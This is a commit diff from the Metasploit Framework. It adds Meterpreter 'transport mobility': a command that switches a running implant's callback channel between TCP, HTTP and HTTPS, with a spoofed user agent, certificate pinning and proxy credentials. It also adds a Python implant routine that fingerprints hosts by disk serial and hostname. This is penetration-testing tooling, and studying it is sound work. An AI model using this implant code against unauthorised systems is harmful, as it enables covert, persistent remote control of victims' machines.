Skip to content

Commit 890b151

Browse files
author
Brent Cook
committed
Land rapid7#5046, meterpreter transport mobility support
2 parents 38a77c9 + 53d5b97 commit 890b151

File tree

12 files changed

+270
-6
lines changed

12 files changed

+270
-6
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 0.3.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.17)
12+
meterpreter_bins (= 0.0.18)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -132,7 +132,7 @@ GEM
132132
pg
133133
railties (< 4.0.0)
134134
recog (~> 1.0)
135-
meterpreter_bins (0.0.17)
135+
meterpreter_bins (0.0.18)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.2)
-21.2 KB
Binary file not shown.
-21.2 KB
Binary file not shown.
-192 KB
Binary file not shown.

data/meterpreter/meterpreter.py

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#!/usr/bin/python
22
import code
33
import os
4+
import platform
45
import random
56
import select
67
import socket
@@ -141,6 +142,8 @@
141142
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
142143
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
143144

145+
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
146+
144147
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
145148
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
146149

@@ -566,6 +569,36 @@ def handle_dead_resource_channel(self, channel_id):
566569
pkt = struct.pack('>I', len(pkt) + 4) + pkt
567570
self.send_packet(pkt)
568571

572+
def _core_machine_id(self, request, response):
573+
serial = ''
574+
machine_name = platform.uname()[1]
575+
if has_windll:
576+
from ctypes import wintypes
577+
578+
k32 = ctypes.windll.kernel32
579+
sys_dir = ctypes.create_unicode_buffer(260)
580+
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
581+
return ERROR_FAILURE_WINDOWS
582+
583+
vol_buf = ctypes.create_unicode_buffer(260)
584+
fs_buf = ctypes.create_unicode_buffer(260)
585+
serial_num = wintypes.DWORD(0)
586+
587+
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
588+
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
589+
None, fs_buf, ctypes.sizeof(fs_buf)):
590+
return ERROR_FAILURE_WINDOWS
591+
serial_num = serial_num.value
592+
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
593+
else:
594+
for _, _, files in os.walk('/dev/disk/by-id/'):
595+
for f in files:
596+
if f[:4] == 'ata-':
597+
serial = f[4:]
598+
break
599+
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
600+
return ERROR_SUCCESS, response
601+
569602
def _core_loadlib(self, request, response):
570603
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
571604
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
244 KB
Binary file not shown.

lib/msf/core/handler/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -351,7 +351,7 @@ def on_request(cli, req, obj)
351351
})
352352

353353
else
354-
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
354+
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
355355
resp.code = 200
356356
resp.message = "OK"
357357
resp.body = datastore['HttpUnknownRequestResponse'].to_s

lib/msf/core/payload/uuid_options.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
require 'msf/core'
44
require 'msf/core/payload/uuid'
5-
require 'rex/payloads/meterpreter/uri_checksum.rb'
5+
require 'rex/payloads/meterpreter/uri_checksum'
66

77
#
88
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs

lib/rex/post/meterpreter/client_core.rb

Lines changed: 112 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,13 @@
1111
# Provides methods to patch options into the metsrv stager.
1212
require 'rex/payloads/meterpreter/patch'
1313

14+
# URI uuid and checksum stuff
15+
require 'msf/core/payload/uuid'
16+
require 'rex/payloads/meterpreter/uri_checksum'
17+
18+
# certificate hash checking
19+
require 'rex/parser/x509_certificate'
20+
1421
module Rex
1522
module Post
1623
module Meterpreter
@@ -28,6 +35,22 @@ class ClientCore < Extension
2835
UNIX_PATH_MAX = 108
2936
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
3037

38+
METERPRETER_TRANSPORT_SSL = 0
39+
METERPRETER_TRANSPORT_HTTP = 1
40+
METERPRETER_TRANSPORT_HTTPS = 2
41+
42+
DEFAULT_SESSION_EXPIRATION = 24*3600*7
43+
DEFAULT_COMMS_TIMEOUT = 300
44+
45+
VALID_TRANSPORTS = {
46+
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
47+
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
48+
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
49+
'bind_tcp' => METERPRETER_TRANSPORT_SSL
50+
}
51+
52+
include Rex::Payloads::Meterpreter::UriChecksum
53+
3154
#
3255
# Initializes the 'core' portion of the meterpreter client commands.
3356
#
@@ -222,6 +245,87 @@ def use(mod, opts = { })
222245
return true
223246
end
224247

248+
def machine_id
249+
request = Packet.create_request('core_machine_id')
250+
251+
response = client.send_request(request)
252+
253+
id = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
254+
# TODO: Determine if we're going to MD5/SHA1 this
255+
return Rex::Text.md5(id)
256+
end
257+
258+
def change_transport(opts={})
259+
260+
unless valid_transport?(opts[:transport]) && opts[:lport]
261+
return false
262+
end
263+
264+
if opts[:transport].starts_with?('reverse')
265+
return false unless opts[:lhost]
266+
else
267+
# Bind shouldn't have lhost set
268+
opts[:lhost] = nil
269+
end
270+
271+
transport = VALID_TRANSPORTS[opts[:transport]]
272+
273+
request = Packet.create_request('core_change_transport')
274+
275+
scheme = opts[:transport].split('_')[1]
276+
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
277+
278+
# do more magic work for http(s) payloads
279+
unless opts[:transport].ends_with?('tcp')
280+
sum = uri_checksum_lookup(:connect)
281+
uuid = client.payload_uuid
282+
unless uuid
283+
arch, plat = client.platform.split('/')
284+
uuid = Msf::Payload::UUID.new({
285+
arch: arch,
286+
platform: plat.starts_with?('win') ? 'windows' : plat
287+
})
288+
end
289+
url << generate_uri_uuid(sum, uuid) + '/'
290+
291+
opts[:comms_timeout] ||= DEFAULT_COMMS_TIMEOUT
292+
request.add_tlv(TLV_TYPE_TRANS_COMMS_TIMEOUT, opts[:comms_timeout])
293+
294+
opts[:session_exp] ||= DEFAULT_SESSION_EXPIRATION
295+
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
296+
297+
# TODO: randomise if not specified?
298+
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
299+
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
300+
301+
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
302+
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
303+
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
304+
end
305+
306+
if opts[:proxy_host] && opts[:proxy_port]
307+
prefix = 'http://'
308+
prefix = 'socks=' if opts[:proxy_type] == 'socks'
309+
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
310+
request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy)
311+
312+
if opts[:proxy_user]
313+
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
314+
end
315+
if opts[:proxy_pass]
316+
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
317+
end
318+
end
319+
320+
end
321+
322+
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
323+
request.add_tlv(TLV_TYPE_TRANS_URL, url)
324+
325+
client.send_request(request)
326+
return true
327+
end
328+
225329
#
226330
# Migrates the meterpreter instance to the process specified
227331
# by pid. The connection to the server remains established.
@@ -246,7 +350,7 @@ def migrate(pid, writable_dir = nil)
246350
}
247351

248352
# We cant migrate into a process that does not exist.
249-
if process.nil?
353+
unless process
250354
raise RuntimeError, "Cannot migrate into non existent process", caller
251355
end
252356

@@ -404,6 +508,13 @@ def shutdown
404508
true
405509
end
406510

511+
#
512+
# Indicates if the given transport is a valid transport option.
513+
#
514+
def valid_transport?(transport)
515+
VALID_TRANSPORTS.has_key?(transport.downcase)
516+
end
517+
407518
private
408519

409520
def generate_payload_stub(process)

lib/rex/post/meterpreter/packet.rb

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,19 @@ module Meterpreter
8787
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408
8888
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
8989

90+
91+
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
92+
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
93+
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
94+
TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_META_TYPE_UINT | 433
95+
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
96+
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
97+
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
98+
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
99+
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
100+
101+
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
102+
90103
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
91104
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
92105

@@ -179,6 +192,16 @@ def inspect
179192
when TLV_TYPE_MIGRATE_LEN; "MIGRATE-LEN"
180193
when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
181194
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
195+
when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE"
196+
when TLV_TYPE_TRANS_URL; "TRANS-URL"
197+
when TLV_TYPE_TRANS_COMMS_TIMEOUT; "TRANS-COMMS-TIMEOUT"
198+
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
199+
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
200+
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
201+
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
202+
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
203+
204+
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
182205

183206
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
184207
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'

0 commit comments

Comments
 (0)